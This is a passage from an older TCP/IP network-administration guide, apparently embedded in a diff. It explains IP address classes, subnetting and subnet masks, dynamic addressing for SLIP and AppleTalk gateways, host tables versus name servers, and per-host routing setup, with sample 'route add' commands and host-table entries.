+link, or other long-distance point to point connection between the two +locations. A point to point line is treated as a network that just +happens to have only two computers on it. As with any other network, +the point to point line has a network number (in this case 128.6.21). +The systems connected by the line (gateways R and S) have addresses on +that network (in this case 128.6.21.1 and 128.6.21.2). + +It is possible to design routing software that does not require a +separate network number for each point to point line. In that case, +the interface between the gateway and the point to point line doesn't +have an address. This can be useful if your network is so large that +you are in danger of running out of network numbers. However such +"anonymous interfaces" can make network management somewhat more +difficult. If there is no address, network management software may +have no way to refer to the interface. Thus you may not be able to +get data on throughput and errors for that interface. + + + + + + + + + + 4 + + + +3. Choosing an addressing structure + + +The first comment to make about addresses is a warning: Before you +start using an IP network, you must get one or more official network +numbers. IP addresses look like this: 128.6.4.3. This address is +used by one computer at Rutgers University. The first part of it, +128.6, is a network number, allocated to Rutgers by a central +authority. Before you start allocating addresses to your computers, +you must get an official network number. Unfortunately, some people +set up networks using either a randomly-chosen number, or a generic +number supplied by the vendor. While this may work in the short run, +it is a very bad idea for the long run. Eventually, you will want to +connect your network to some other organization's network. Even if +your organization is highly secret and very concerned about security, +somewhere in your organization there is going to be a research +computer that ends up being connected to a nearby university. That +university will probably be connected to a large-scale national +network. As soon as one of your datagrams escapes your local network, +the organization you are talking to is going to become very confused, +because the addresses that appear in your datagrams are probably +officially allocated to someone else. + +The solution to this is simple: get your own network number from the +beginning. It costs nothing. If you delay it, then sometime years +from now you are going to be faced with the job of changing every +address on a large network. Network numbers are currently assigned by +the DDN Network Information Center, SRI International, 333 Ravenswood +Avenue, Menlo Park, California 94025 (telephone: 800-235-3155). You +can get a network number no matter what your network is being used +for. You do not need authorization to connect to the Defense Data +Network in order to get a number. The main piece of information that +will be needed when you apply for a network number is the address +class that you want. See below for a discussion of this. + +In many ways, the most important decision you have to make in setting +up a network is how you will assign IP addresses to your computers. +This choice should be made with a view of how your network is likely +to grow. Otherwise, you will find that you have to change addresses. +When you have several hundred computers, address changes can be nearly +impossible. + +Addresses are critical because IP datagrams are routed on the basis of +their address. For example, addresses at Rutgers University have a +2-level structure. A typical address is 128.6.4.3. 128.6 is assigned +to Rutgers University. As far as the outside world is concerned, +128.6 is a single network. Other universities send any datagram whose +address begins with 128.6 to the nearest Rutgers gateway. However +within Rutgers, we divide up our address space into "subnets". We use +the next 8 bits of address to indicate which subnet a computer belongs +to. 128.6.4.3 belongs to subnet 128.6.4. Generally subnets +correspond to physical networks, e.g. separate Ethernets, although we +will see some exceptions later. Systems inside Rutgers, unlike those +outside, contain information about the Rutgers subnet structure. So +once a datagram for 128.6.4.3 arrives at Rutgers, the Rutgers network + 5 + + + +will route it to the departmental Ethernet, token ring, or whatever, +that has been assigned subnet number 128.6.4. + +When you start a network, there are several addressing decisions that +face you: + + - Do you subdivide your address space? + + - If so, do you use subnets or class C addresses? + + - How big an address space do you need? + + + +3.1 Should you subdivide your address space? + + +It is not necessary to use subnets at all. There are network +technologies that allow an entire campus or company to act as a single +large logical Ethernet, so that no internal routing is necessary. If +you use this technology, then you do not need to subdivide your +address space. In that case, the only decision you have to make is +what class of address to apply for. However we recommend using either +a subnet approach or some other method of subdividing your address +space in most networks: + + - In section 6.2 we will argue that internal gateways are desirable + for all networks beyond the very simplest. + + - Even if you do not need gateways now, you may find later that you + need to use them. Thus it probably makes sense to assign + addresses as if each Ethernet or token ring were going to be a + separate subnet. This will allow for conversion to real subnets + later if it proves necessary. + + - For network maintenance purposes, it is convenient to have + addresses whose structure corresponds to the structure of the + network. For example, when you see a stray datagram from system + 128.6.4.3, it is nice to know that all addresses beginning with + 128.6.4 are in a particular building. + + + +3.2 Subnets vs. multiple network numbers + + +Suppose that you have been convinced that it's a good idea to impose +some structure on your addresses. The next question is what that +structure should be. There are two basic approaches. One is subnets. +The other is multiple network numbers. + +The Internet standards specify the format of an address. For +addresses beginning with 128 through 191 (the most common numbers +these days), the first two octets form the network number. E.g. in +140.3.50.1, 140.3 is the network number. Network numbers are assigned + 6 + + + +to a particular organization. What you do with the next two octets is +up to you. You could choose to make the next octet be a subnet +number, or you could use some other scheme entirely. Gateways within +your organization must be set up to know the subnetting scheme that +you are using. However outside your organization, no one will know +that 140.3.50 is one subnet and 140.3.51 is another. They will simply +know that 140.3 is your organization. Unfortunately, this ability to +add additional structure to the address via subnets was not present in +the original IP specifications. Thus some older software is incapable +of being told about subnets. + +If enough of the software that you are using has this problem, it may +be impractical for you to use subnets. Some organizations have used a +different approach. It is possible for an organization to apply for +several network numbers. Instead of dividing a single network number, +say 140.3, into several subnets, e.g. 140.3.1 through 140.3.10, you +could apply for 10 different network numbers. Thus you might be +assigned the range 140.3 through 140.12. All IP software will know +that these are different network numbers. + +While using separate network numbers will work just fine within your +organization, it has two very serious disadvantages. The first, and +less serious, is that it wastes address space. There are only about +16,000 possible class B addresses. We cannot afford to waste 10 of +them on your organization, unless it is very large. This objection is +less serious because you would normally ask for class C addresses for +this purpose, and there are about 2 million possible class C +addresses. + +The more serious problem with using several network numbers rather +than subnets is that it overloads the routing tables in the rest of +the Internet. As mentioned above, when you divide your network number +into subnets, this division is known within your organization, but not +outside it. Thus systems outside your organization need only one +entry in their tables in order to be able to reach you. E.g. other +universities have entries in their routing tables for 128.6, which is +the Rutgers network number. If you use a range of network numbers +instead of subnets, that division will be visible to the entire +Internet. If we used 128.6 through 128.16 instead of subdividing +128.6, other universities would need entries for each of those network +numbers in their routing tables. As of this writing the routing +tables in many of the national networks are exceeding the size of the +current routing technology. It would be considered extremely +unfriendly for any organization to use more than one network number. +This may not be a problem if your network is going to be completely +self-contained, or if only one small piece of it will be connected to +the outside world. Nevertheless, most TCP/IP experts strongly +recommend that you use subnets rather than multiple networks. The +only reason for considering multiple networks is to deal with software +that cannot handle subnets. This was a problem a few years ago, but +is currently less serious. As long as your gateways can handle +subnets, you can deal with a few individual computers that cannot by +using "proxy ARP" (see below). + +One warning about subnets: Your subnets must all be "adjacent". That + 7 + + + +is, you can't have a configuration where you get from subnet 128.6.4 +to subnet 128.6.5 by going through some other network entirely, e.g. +128.121. For example, Rutgers has campuses in New Brunswick and +Newark. It is perfectly OK for the networks in both cities to be +subnets of 128.6. However in that case, the lines beween New +Brunswick and Newark must also be part of 128.6. Suppose we decided +to use a regional network such as JvNCnet to talk between our two +campuses, instead of providing our own lines. Since JvNCnet is +128.121, the gateways and serial lines that they provide would have +addresses that begin with 128.121. This violate the rules. It is not +allowable to have gateways or lines that are part of 128.121 +connecting two parts of 128.6. So if we wanted to use JvNCnet between +our two campuses, we'd have to get different network numbers for the +two campuses. (This rule is a result of limitations in routing +technology. Eventually gateway software will probably be developed +that can deal with configurations whose networks are not contiguous.) + + + +3.3 How to allocate subnet or network numbers + + +Now that you have decided to use subnets or multiple network numbers, +you have to decide how to allocate them. Normally this is fairly +easy. Each physical network, e.g. Ethernet or token ring, is assigned +a separate subnet or network number. However you do have some +options. + +In some cases it may make sense to assign several subnet numbers to a +single physical network. At Rutgers we have a single Ethernet that +spans three buildings, using repeaters. It is very clear to us that +as computers are added to this Ethernet, it is going to have to be +split into several separate Ethernets. In order to avoid having to +change addresses when this is done, we have allocated three different +subnet numbers to this Ethernet, one per building. (This would be +handy even if we didn't plan to split the Ethernet, just to help us +keep track of where computers are.) However before doing this, make +very sure that the software on all of your computers can handle a +network that has three different network numbers on it. This issue is +discussed in more detail in section 3.4. + +You also have to choose a "subnet mask". This is used by the software +on your systems to separate the subnet from the rest of the address. +So far we have always assumed that the first two octets are the +network number, and the next octet is the subnet number. For class B +addresses, the standards specify that the first two octets are the +network number. However we are free to choose the boundary between +the subnet number and the rest of the address. It's very common to +have a one-octet subnet number, but that's not the only possible +choice. Let's look again at a class B address, e.g. 128.6.4.3. It is +easy to see that if the third octet is used for a subnet number, there +are 256 possible subnets and within each subnet there are 256 possible +addresses. (Actually, the numbers are more like 254, since it is +generally a bad idea to use 0 or 255 for subnet numbers or addresses.) +Suppose you know that you will never have more than 128 computers on a + 8 + + + +given subnet, but you are afraid you might need more than 256 subnets. +(For example, you might have a campus with lots of small buildings.) +In that case, you could define 9 bits for the subnet number, leaving 7 +bits for addresses within each subnet. This choice is expressed by a +bit mask, using ones for the bits used by the network and subnet +number, and 0's for the bits used for individual addresses. Our +normal subnet mask choice is given as 255.255.255.0. If we chose 9 +bit subnet numbers and 7 bit addresses, the subnet mask would be +255.255.255.128. + +Generally it is possible to specify the subnet mask for each computer +as part of configuring its IP software. The IP protocols also allow +for computers to send a query asking what the subnet mask is. If your +network supports broadcast queries, and there is at least one computer +or gateway on the network that knows the subnet mask, it may be +unnecessary to set it on the other computers. However this capability +brings with it a whole new set of possible problems. One well-known +TCP/IP implementation would answer with the wrong subnet mask when +queried, thus leading causing every other computer on the network to +be misconfigured. Thus it may be safest to set the subnet mask +explicitly on each system. + + + +3.4 Dealing with multiple "virtual" subnets on one network + + +Most software is written under the assumption that every computer on +the local network has the same subnet number. When traffic is being +sent to a machine with a different subnet number, the software will +generally expect to find a gateway to handle forwarding to that +subnet. Let's look at the implications. Suppose subnets 128.6.19 and +128.6.20 are on the same Ethernet. Consider the way things look from +the point of view of a computer with address 128.6.19.3. It will have +no problem sending to other machines with addresses 128.6.19.x. They +are on the same subnet, and so our computer will know to send directly +to them on the local Ethernet. However suppose it is asked to send a +datagram to 128.6.20.2. Since this is a different subnet, most +software will expect to find a gateway that handles forwarding between +the two subnets. Of course there isn't a gateway between subnets +128.6.19 and 128.6.20, since they are on the same Ethernet. Thus you +have to find a way to tell your software that 128.6.20 is actually on +the same Ethernet. + +Most common TCP/IP implementations can deal with more than one subnet +on a network. For example, Berkeley Unix lets you use a slight +modification of the command used to define gateways. Suppose that you +get from subnet 128.6.19 to subnet 128.6.4 using a gateway whose +address is 128.6.19.1. You would use the command + + route add 128.6.4.0 128.6.19.1 1 + +This says that to reach subnet 128.6.4, traffic should be sent via the +gateway at 128.6.19.1, and that the route only has to go through one +gateway. The "1" is referred to as the "routing metric". If you use + 9 + + + +a metric of 0, you are saying that the destination subnet is on the +same network, and no gateway is needed. In our example, on system +128.6.19.3, you would use + + route add 128.6.20.0 128.6.19.1 0 + +The actual address used in place of 128.6.19.1 is irrelevant. The +metric of 0 says that no gateway is actually going to be used, so the +gateway address is not used. However it must be a legal address on +the local network. + +Note that the commands in this section are simply examples. You should +look in the documentation for your particular implementation to see +how to configure your routing. + + + +3.4.1 Dealing with Multiple Subnets by Turning off Subnetting + + +There is another way to handle several subnets on one physical +network. This method involves intentionally misconfiguring your +hosts, so it is potentially dangerous if you don't watch what you are +doing. However it may be easier to deal with when you have lots of +subnets on one physical network. An example of this is a site that +uses bridges, and uses subnets simply for administrative convenience. +The trick is to configure the software on your hosts as if you were +not using subnets at all. In this case your hosts will not make any +distinction between the subnets, and they'll have no trouble dealing +with all of them. Now the only problem is how to talk to subnets that +are not on this multi-subnet network. However if your gateways handle +proxy ARP, they will solve that problem for you. This approach is +likely to be convenient when the same network is carrying many +subnets, particularly if additional ones are likely to be added later. +However it has two problems: + +If you have any hosts with multiple interfaces, you will have to be +very careful. First, only one interface should be on the multi-subnet +network. For example, suppose you have a "network" that is made up of +several Ethernets connected by bridges. You can't have a machine with +interfaces on two of those Ethernets. However you can have a system +with one interface on the multi-subnet network and another on some +totally separate subnet. Second, any machine with multiple interfaces +will have to know the real subnet mask, and will need to be told +explicitly which subnets are on the multi-subnet network. These +restrictions come about because a system with multiple interfaces has +to know which interface to use in any given case. + +You will have to be careful about the ICMP subnet mask facility. This +is a facility that allows systems to broadcast a query asking what the +subnet mask is. If most of your hosts think the network is not +subnetted, but your gateways and multi-interface hosts think it is, +you've got a potential for confusion. If a gateway or multi-interface +host happens to send an ICMP subnet mask reply giving the real subnet +mask, some of your other hosts may pick it up. The reverse is + 10 + + + +possible as well. This means that you will either have to + + - disable ICMP subnet mask replies on all of the systems that know + the real subnet mask. (This may be easy if only gateways know + it.) + + - make sure that your hosts ignore ICMP replies + +According to the most recent documents, as long as you set the subnet +mask explicitly, hosts are supposed to ignore the ICMP subnet mask +mechanism. So you should be able to set different masks on different +hosts without causing any problem, as long as you set the mask +explicitly for all of them. However we have noticed that some IP +implementations will change their subnet mask when they see an ICMP +subnet mask reply. + + + +3.4.2 Multiple Subnets: Implications for Broadcasting + + +When you have more than one subnet on the same physical network, you +need to give some thought to broadcast addresses. According to the +latest standards, there are two different ways for a host on subnet +128.6.20 to send a broadcast on the local network. One is to use +address 128.6.20.255. The other is to use address 255.255.255.255. +128.6.20.255 says explicitly "all hosts on subnet 128.6.20". +255.255.255.255 says "all hosts on my local network". Normally these +have the same effect. However they do not when there are several +subnets on one physical network. If subnet 128.6.19 is on the same +Ethernet, it is also going to receive messages sent to +255.255.255.255. However hosts with numbers 128.6.19.x will not +listen to broadcasts to 128.6.20.255. The result is that the two +different forms of broadcast address will have somewhat different +meanings. This means that you will have to exercise some care in +configuring software on networks such as this, to make sure that +broadcasts go where you intend them to go. + + + +3.5 Choosing an address class + + +When you apply for an official network number, you will be asked what +class of network number you need. The possible answers are A, B, and +C. This affects how large an address space you will be allocated. +Class A addresses are one octet long, class B addresses are 2 octets, +and class C addresses are 3 octets. This represents a tradeoff: +there are a lot more class C addresses than class A addresses, but the +class C addresses don't allow as many hosts. The idea was that there +would be a few very large networks, a moderate number of medium-size +ones, and a lot of mom-and-pop stores with small networks. Here is a +table showing the distinction: + + + 11 + + + + class range of first octet network rest possible addresses + A 1 - 126 p q.r.s 16777214 + B 128 - 191 p.q r.s 65534 + C 192 - 223 p.q.r s 254 + +For example network 10, a class A network, has addresses between +10.0.0.1 and 10.255.255.254. So it allows 254**3, or about 16 million +possible addresses. (Actually, network 10 has allocated addresses +where some of the octets are zero, so there are a few more addresses +possible.) Network 192.12.88, a class C network has hosts between +192.12.88.1 and 192.12.88.254, i.e. 254 possible hosts. + +In general, you will be expected to choose the lowest class that will +provide you with enough addresses to handle your growth over the next +few years. Organizations that have computers in many buildings will +probably need and be able to get a class B address, assuming that they +are going to use subnetting. (If you are going to use many separate +network numbers, you would ask for a number of class C addresses.) +Class A addresses are normally used only for large public networks and +for a few very large corporate networks. + + + +3.6 Dialup IP and Micro gateways: Dynamically assigned addresses + + +In most cases, each of your computers will have its own permanent IP +address. However there are a few situations where it makes more sense +to allocate addresses dynamically. The most common cases involve +dialup IP, and gateways intended primarily for microcomputers. + + + +3.6.1 Dialup IP + + +It is possible to run IP over dialup lines. The protocol for doing so +is called SLIP ("serial line IP"). SLIP is useful in at least two +different circumstances: + + - As a low-cost alternative to permanent point to point lines, for + cases where there isn't enough traffic to justify dedicated + lines. + + - As a way to connect individual PC's into a network when they are + located in buildings that don't have Ethernets or other LAN + technology. + +I am going to use the term "SLIP server" to refer to a computer system +that has modems attached, which other systems can connect to using +SLIP. Such a system will provide a gateway into your network for PC +users or for other networks that connect using SLIP. + +If you have a number of individual PC's dialing up with SLIP, it is +often not practical to assign each PC its own IP address. For one + 12 + + + +thing, there may just not be enough addresses. In order to keep the +routing straight, the dialup systems have to get addresses on the same +subnet as the SLIP server. Generally there are only 256 or so +addresses available on each subnet. If you have more PC's than that, +you can't give each one its own address. If you have SLIP servers on +more than one subnet, this will make permanent addresses even more +difficult. If a user wanted to be able to call both servers, his PC +would need two addresses, one for each subnet. + +In order to avoid these problems, many SLIP implementations assign +addresses dynamically. When a PC first connects to the SLIP server, +the server finds an unused IP address and assigns it to the PC. The +simplest way to manage this is to give each SLIP server a range of IP +addresses that it keeps track of and can assign. + +When you use such a scheme, your SLIP software has to include some way +for the server to tell the PC what address to use. If each PC has a +permanent address, you have the reverse problem: when a PC connects +to a server, there has to be a way for the PC to tell the server what +its address is. Some care is needed. Otherwise someone could have +his PC claim to be yours and steal all your files. + +Unfortunately, there is no standard way to manage these addressing +issues with SLIP. There are several SLIP implementations that handle +them, but there isn't a single standard yet. Until such a standard is +developed, you need to check out SLIP software carefully. Make sure +that it assigns addresses the way you want, and that your SLIP server +and your PC's agree on how to figure out the PC's address. + +I recommend giving the PC's permanent addresses in cases where other +computers have to be able to tell which PC they are talking to. This +would be the case if the PC is going to receive private computer mail, +or engage in other sensitive transactions. I recommend using dynamic +addresses where you have a lot of PC's, and where the applications +that they access over the network do their own security checking. + +When you are using SLIP to connect two networks, you have three +choices for handling addressing (although not all SLIP software can +handle all three choices): + + - Treat SLIP connections like point to point lines that just don't + happen to be up all the time. If you call more than one + computer, each pair of computers that talks has a separate + network number which they use only when they talk to each other. + + - Use routing software that allows anonymous interfaces. In that + case no address is needed at all. + + - Assign addresses dynamically when the connection is opened, just + as you would for a PC that is dialing up. + +If you make connections only to one or two other systems, it is quite +reasonable to use a network number for each connection. This method +makes it easy to keep usage and error statistics. + + 13 + + + +If you have many different connections, it is probably best to use +anonymous interfaces. You would probably use dynamic address +allocation only if your routing technology did not support anonymous +interfaces. + + + +3.6.2 Micro gateways + + +It is perfectly possible for microcomputers to participate in an IP +network. However there seems to be a tendency for micros to use +somewhat different network technology than larger systems. This is +because many micro users start with specialized network software whose +design is tailored specifically to the needs of micros, or even some +particular type of micro. Micro users quite naturally want to be able +to start using TCP/IP without having to abandon any special micro +network that they are already using. For that reason there is a +growing number of gateway products that allow PC's to access both some +micro-oriented network product and TCP/IP. + +In this section, Apple's AppleTalk is used as an example. This is +because gateways for it have existed for some time, and are in +widespread use. However similar products exist for several other +micro network technologies. Note that the term AppleTalk refers to +the Apple network protocols, whereas LocalTalk refers to the specific +twisted-pair technology on which AppleTalk was initially implemented. +Thus AppleTalk is analogous to the TCP/IP protocols, whereas LocalTalk +is analogous to the Ethernet medium. + +Several vendors supply gateways to connect AppleTalk running over a +LocalTalk network with IP running over Ethernet. Although there are +several products of this kind, most of them supply the following +services: + + - TCP/IP applications on the PC can connect to TCP/IP systems on + the Ethernet. Special facilities are defined to allow IP + datagrams to be carried over LocalTalk between the PC and the + gateway. TCP/IP applications on the PC have to be written using + a special library that uses a mixture of AppleTalk and TCP/IP. + The AppleTalk facilities are needed to get the datagrams to the + gateway, where they are transformed into pure TCP/IP before being + put out onto the Ethernet. Thus the TCP/IP systems on the + Ethernet don't know they are talking to micros. + + - AppleTalk applications can be written for larger systems, so that + PC's can use them as servers. These applications are written + using a special library that is more or less the reverse of the + one just described. Again, it uses a mixture of AppleTalk and + TCP/IP. But this time TCP/IP facilities are needed to get the + datagrams to the gateway, where they are transformed into pure + AppleTalk before being put onto the LocalTalk network to + communicate with the PC's. Thus the PC's can access applications + on the larger systems, without knowing that they are on the + Ethernet rather than an Apple network. + 14 + + + + - A campus or corporate IP network can be used to connect AppleTalk + networks at different locations. Gateways at each location wrap + up AppleTalk datagrams inside IP datagrams, and send them over + the main IP network. + +In addition, some newer gateways will translate at the application +level. For example one gateway will translate between the Apple +filing protocol and Sun's Network File System. This allows a PC to +access a Unix file system, with the PC using the Apple filing +protocol, and the final access to the Unix system being done using +Sun's Network File System. + +Unfortunately the flexibility of products like this also means that +they are complex. Addressing issues are particularly complicated. +For the same reasons as SLIP, these gateways often use dynamic IP +address allocation. A range of IP addresses is assigned to each +gateway. When a PC attempts to open its first TCP/IP connection, the +gateway picks a free IP address and assigns it to the PC. As with +SLIP, you will often need to choose whether you want addresses to be +assigned this way, or you want each PC to have its own address. +Again, this depends upon how many PC's you have and whether you have +applications which must be able to use the IP address to identify the +particular PC that is talking to it. + +Addressing is further complicated by the fact that AppleTalk has its +own addressing structure. So you must define a mapping between +AppleTalk and IP network numbers. There must also be a mapping +between individual IP addresses and AppleTalk addresses, but this +mapping is maintained dynamically by the gateways. + + + +4. Network-wide Services, Naming + + +If you are going to have a TCP/IP network, there are certain things +that you are going to have to do centrally. Some of them are simply +administrative. The most important is that you will a central +registry of names and IP addresses. The DDN Network Information +Center performs this role for the Internet network as a whole. If you +are connected to the international Internet, your administrator will +need to register with the DDN Network Information Center, so that +queries from other institutions about your hosts are forwarded to your +servers. + +You will want to maintain a database containing information about each +system on your network. At a minimum, you need to have the host name +and IP address for each system. Probably the central registry will +assign IP addresses. If your network is subnetted, or if you use +multiple class C network numbers, the registry will probably assign +network numbers to new networks or subnets. Most commonly, individual +host administrators will be allowed to choose their own host names. +However the registry must at least verify that there are no duplicate +names. If you have a very large network, you may choose to delegate +some of these tasks to subregistries, possibly one for each + 15 + + + +department. + +We suggest that you assign numbers in the simplest way: starting from +1. Thus if your network is 128.6, you would assign 128.6.1 as your +first subnet, 128.6.2 as the second, etc. IP addresses for individual +hosts should probably start at 2. This allows you to reserve 1 on +each subnet for use by a gateway. Thus the first host on subnet +128.6.4 would be 128.6.4.2, the next 128.6.4.3, etc. There is a +specific reason for keeping addresses as small as possible. If you +have a large organization, you may run out of subnet numbers. If you +do, and if your host numbers are small, you can assign another bit for +the subnet. For example, we use the entire third octet as a subnet +number. As long as all of our host numbers are less than 128, we will +be able to expand to 9-bit subnet numbers. For example, subnet +128.6.4 would be split into two separate subnets, 128.6.4.0 and +128.6.4.128. If we had assigned host numbers above 128, this split +would be impossible. + +Host names need not be so systematic. They can start with almost any +word made up of letters numbers, and hyphens. It is safest for the +first character to be a letter. It will be easier for users if the +name is fairly short. (We have seen software that has trouble dealing +with names longer than 16 characters.) Many times departments or +projects choose a theme, and pick names that are consistent with them. +For example, the machines used by computer science graduate students +at Rutgers are named after rock bands: STEELEYE, BAND, TREX, DEVO, +etc. Our math department uses famous mathematicians: GAUSS, FERMAT, +etc. If your institution does not have any connection with the +outside world, such one-word names are all you need. + +If you are connected to with the international Internet, your +organization will need to get a "domain name." This is assigned to +you by the DDN Network Information Center, just as your network number +is. Unlike the network number, you can get along without one if your +network is isolated. If you find later that you need one, it is easy +to add a domain name. (We recommend that you start with an official +network number from the beginning because changing network numbers +later can be traumatic.) Domain names normally end in .EDU for +educational institutions, .COM for companies, etc. For example, +Rutgers University has a domain name of .RUTGERS.EDU A full +domain-style host name consists of your one-word internal name +followed by your organization's domain name. For example, the +computer I normally use is known internally as ATHOS. It's full name +is ATHOS.RUTGERS.EDU If you have a large organization, it is possible +to have sub-domains. For example, you might have a subdomain for each +department. This adds another period to your names. For example, the +computer science department might have decided to create a subdomain. +In this case, my computer would probably be called +ATHOS.CS.RUTGERS.EDU Once you get a domain name assigned to you, it is +wise to change all of your configuration files so that the full form +of name is used. However your software can be set up so that the +one-word versions are accepted as nicknames. That way your users +don't have to type out the long form. + +If you have more than one or two systems, you are going to need some + 16 + + + +way to keep host information up to date on all of your systems. +TCP/IP software needs to be able to translate host names into IP +addresses. When a user tries to connect to another system, he wants +to be able to refer to it by name. The software has to translate the +name into the IP address in order to open the connection. Most +software provides two ways to do this translation: a static table or +a name server. The table approach is probably easier for small +organizations, as long as they are not connected to any other network. +You simply create a file that lists the names and addresses of all +your hosts. Here's part of our host table: + + HOST: 128.6.4.2, 128.6.25.2 : ARAMIS.RUTGERS.EDU,ARAMIS : SUN-3-28 + HOST: 128.6.4.3 : GAUSS.RUTGERS.EDU,GAUSS : SUN-3-180 : UNIX :: + HOST: 128.6.4.4, 128.6.25.4 : ATHOS.RUTGERS.EDU,ATHOS : SUN-4-280 + +This format has one line for each system, and lists its addresses, +names, and other information about it. Note that aramis and athos are +both on two networks, so they have two addresses. They have both +primary names, e.g. ARAMIS.RUTGERS.EDU, and nicknames, e.g. ARAMIS. +Since we are attached to the Internet, our primary name is a full +domain name. We supply brief nicknames to make it easier for our +users. There is one other commonly-used format for the host table. +Here's an example of that format: + + 128.6.4.2 aramis.rutgers.edu aramis + 128.6.25.2 aramis.rutgers.edu aramis + 128.5.4.3 gauss.rutgers.edu gauss + 128.6.4.4 athos.rutgers.edu gauss + 128.6.25.4 athos.rutgers.edu gauss + +In this format, each line represents a single IP address. If a system +has two interfaces, there are two lines in the table for it. You +should try to put the address first that is likely to be used more +often. The documentation for your systems should indicate what format +they want the host information to use. + +In the simplest setup, every computer has its own copy of the host +table. If you choose to use the setup, you will want to set up +procedures to make sure that systems get updated copies of the host +table regularly. + +Larger sites, and all sites that are connected to the Internet, should +use name servers instead of individual host tables. A name server is +a program that you run on a few of your systems to keep track of +names. When a program needs to look up a name, instead of looking for +a copy of the host table, it sends a network query to the name server. +This approach has two advantages: + + - For a large site, it is easier to keep tables up to date on a few + name servers than on every system. + + - If your site is connected to the Internet, your name server will + be able to talk to name servers at other organizations, and look + up names elsewhere. + + 17 + + + +Using a name server is the only way to have access to complete host +information about the rest of the Internet. + +It is important to understand the difference between a name server and +a resolver. A name server is a program that accesses a host database, +and answers queries from other programs. A resolver is a set of +subroutines that can be loaded with your program. It generates +queries to the name server, and processes the responses. Every system +should use the resolver. (Actually, the resolver is generally loaded +with each program that uses the network, since it's simply a set of +subroutines.) You only need a few name servers. Many people confuse +these two concepts, and come to believe that every computer needs to +run a name server. + +In order to use a resolver, each computer will need a configuration +file or other option that specifies the address of a name server where +queries should be sent. Generally you should specify several name +servers, in case one of them is down. If your system cannot reach any +name server, much of your software is likely to misbehave. Thus you +should be very careful to have enough name servers around that every +system can always reach at least one name server. + +Name servers generally have a number of configuration options. Rather +than giving advice here on setting up a name server, I am going to +refer you to two official Internet standards documents. Both are +available from the DDN Network Information Center, SRI International, +333 Ravenswood Avenue, Menlo Park, California 94025 (telephone: +800-235-3155). RFC 1032 contains instructions for getting a domain +name from the Network Information Center, including the necessary +forms. RFC 1033 contains instructions on how to set up a name server. +Like this document, these documents are conceptual. You will also +need documentation for the specific name server software that you are +going to use. [This paragraph is a cop-out. Future editions of this +document will contain some advice on setting up a name server. +However RFC 1033 is almost unique in that it is directed at +administrators rather than networking experts. Thus it is reasonable +to direct people there for the moment.] + +In some cases you may need to use both fixed tables and name servers. +If you have some TCP/IP implementations that do not include resolvers, +then you will have to have host tables for those systems. If your +network is connected to the international Internet, you are going to +have problems with systems that don't have resolvers. The Internet is +too big for there to be a host table that lists all of its hosts. +Thus you will have to put together a host table that lists those hosts +that your users tend to use. The DDN Network Information Center +maintains a host table that will be a good starting point. However it +is by no means complete. So you will have to add your users' favorite +hosts to it. Systems that use a resolver will not have this problem, +since the name servers are able to translate any legal host name. + +Host name and number allocation is the only facility that has to be +done centrally. However there are other things that you may prefer to +do centrally. It is very common to have one or two computers that +handle all computer mail. If are on the Internet, it is easy for + 18 + + + +every one of your computers to talk directly to any other computer on +the Internet. However most institutions want to communicate with +systems on other networks, such as Bitnet and Usenet. There are +gateways between the various networks. But choosing the right +gateway, and transforming computer mail addresses correctly is a +rather specialized business. Thus many sites set up the appropriate +software only one place and direct all external mail (or all external +mail to hosts that are not on the Internet) through this system. + + + +5. Setting up routing for an individual computer + + +All TCP/IP implementations require some configuration for each host. +In some cases this is done during "system generation". In other +cases, various startup and configuration files must be set up on the +system. Still other systems get configuration information across the +network from a "server". While the details differ, the same kind of +information needs to be supplied for most implementations. This +includes + + - parameters describing the specific machine, such as its IP + address. + + - parameters describing the network, such as the subnet mask (if + any) + + - routing software and the tables that drive it + + - startup of various programs needed to handle network tasks + +Before a machine is installed on your network, a coordinator should +assign it a host name and IP address, as described above. Once you +have name and address, you are ready to start configuring your +computer. Often you have to put the address and name into a +configuration file on the computer. However some computers +(particularly those without permanent disks on which configuration +information could be stored) get this information over the network. +When such a system starts, it broadcasts a request over the network. +In effect, this request says "who am I?" If you have any computers +like this, you will have to make sure that some system on your network +is ready to answer these questions. The obvious issue is: how can +another system tell who you are? Generally this is done based on +Ethernet address (or the analogous address for other types of +network). Ethernet addresses are assigned by the computer +manufacturer. It is guaranteed that only one machine in the entire +world has any particular Ethernet address. The address is normally +stored in ROM somewhere in the machine. The machine may not know its +IP address, but it does know its Ethernet address. Thus the "who am +I" request includes the Ethernet address. Systems that are set up to +answer such requests have a table that lists Ethernet addresses and +the corresponding IP address. This lets them know how to answer. +Unfortunately, you have to set this table up manually. Generally you +know the IP address, because your address coordinator has assigned it. + 19 + + + +The only problem in constructing the table will be finding out the +Ethernet address for each computer. Generally, computers are designed +so that they print the Ethernet address on the console shortly after +being turned on. However in some cases you may have to find a way to +bring the computer up and then type a command that displays +information about the Ethernet interface. + +Generally the subnet mask should be specified in a configuration file +associated with the computer. (For Unix systems, the "ifconfig" +command is used to specify both the Internet address and subnet mask.) +However there are provisions in the IP protocols for a computer to +broadcast a request asking for the subnet mask. The subnet mask is an +attribute of the network. It is the same for all computers on a given +subnet. Thus there is no separate subnet table corresponding to the +Ethernet/Internet address mapping table used to answer address +queries. Ideally, only a few authoritative computers will answer +queries about the subnet mask. However many TCP/IP implementations +are set up so that any machine on the network that believes it knows +the subnet mask will answer. If your TCP/IP is like this, an +incorrect subnet mask setting on one machine can cause confusion +throughout the network. + +Normally the startup files do roughly the following things: + + - load any special device drivers that may be necessary. (This is + particularly common with PC's, where network access is likely to + depend upon add-on controller cards and software that is not part + of the original operating system.) + + - enable each of the network interfaces (Ethernet interface, serial + lines, etc.) Normally this involves specifying an Internet + address and subnet mask for each, as well as other options that + will be described in your vendor's documentation. + + - establish network routing information, either by commands that + add fixed routes, or by starting a program that obtains them + dynamically. + + - turn on the domain system (used for looking up names and finding + the corresponding Internet address -- see the section on the + domain system in the Introduction to TCP/IP). Note that the + details of this will depend upon how the domain system is + configured. In most cases only a few hosts actually run domain + name servers that must be started. Other hosts simply need + configuration files that specify where the nearest name server is + located. + + - set various other information needed by the system software, such + as the name of the system itself. + + - start various "daemons". These are programs that provide network + services to other systems on the network, and to users on this + system. In the case of PC's, which often cannot run multiple + processes, similar facilities may be provided by so-called + "TSR"'s, or they may be built into the device drivers. + 20 + + + +It is not practical to document these steps in detail, since they +differ for each vendor. This section will concentrate on a few issues +where your choice will depend upon overall decisions about how your +network is to operate. These overall network policy decisions are +often not as well documented by the vendors as the details of how to +start specific programs. Note that some care will be necessary to +integrate commands that you add for routing, etc., into the startup +sequence at the right point. Some of the most mysterious problems +occur when network routing is not set up before a program needs to +make a network 